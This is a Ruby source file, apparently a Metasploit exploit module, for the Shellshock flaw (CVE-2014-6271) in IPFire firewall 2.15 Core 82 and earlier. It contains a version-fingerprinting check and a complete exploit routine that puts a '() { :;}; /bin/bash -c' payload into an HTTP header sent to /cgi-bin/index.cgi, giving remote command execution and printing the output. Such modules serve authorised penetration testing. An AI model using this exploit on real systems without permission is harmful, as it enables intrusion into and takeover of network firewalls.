114 lines
3.4 KiB
Ruby
114 lines
3.4 KiB
Ruby
##
|
|
## This module requires Metasploit: http://metasploit.com/download
|
|
## Current source: https://github.com/rapid7/metasploit-framework
|
|
###
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
Rank = ExcellentRanking
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'IPFire Bash Environment Variable Injection (Shellshock)',
|
|
'Description' => %q(
|
|
IPFire, a free linux based open source firewall distribution,
|
|
version <= 2.15 Update Core 82 contains an authenticated remote
|
|
command execution vulnerability via shellshock in the request headers.
|
|
),
|
|
'Author' =>
|
|
[
|
|
'h00die <mike@stcyrsecurity.com>', # module
|
|
'Claudio Viviani' # discovery
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'EDB', '34839' ],
|
|
[ 'CVE', '2014-6271']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => %w( linux unix ),
|
|
'Privileged' => false,
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'cmd/unix/generic'
|
|
},
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' =>
|
|
{
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic'
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Target', {}]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Sep 29 2014'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
|
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
|
|
Opt::RPORT(444)
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def check
|
|
begin
|
|
res = send_request_cgi(
|
|
'uri' => '/cgi-bin/index.cgi',
|
|
'method' => 'GET'
|
|
)
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
|
|
/\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body
|
|
|
|
if version && update && version == "2.15" && update.to_i < 83
|
|
Exploit::CheckCode::Appears
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|
|
|
|
#
|
|
# CVE-2014-6271
|
|
#
|
|
def cve_2014_6271(cmd)
|
|
%{() { :;}; /bin/bash -c "#{cmd}" }
|
|
end
|
|
|
|
def exploit
|
|
begin
|
|
payload = cve_2014_6271(datastore['CMD'])
|
|
vprint_status("Exploiting with payload: #{payload}")
|
|
res = send_request_cgi(
|
|
'uri' => '/cgi-bin/index.cgi',
|
|
'method' => 'GET',
|
|
'headers' => { 'VULN' => payload }
|
|
)
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code == 401
|
|
/<li>Device: \/dev\/(?<output>.+) reports/m =~ res.body
|
|
print_good(output) unless output.nil?
|
|
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
end
|
|
end
|
|
end
|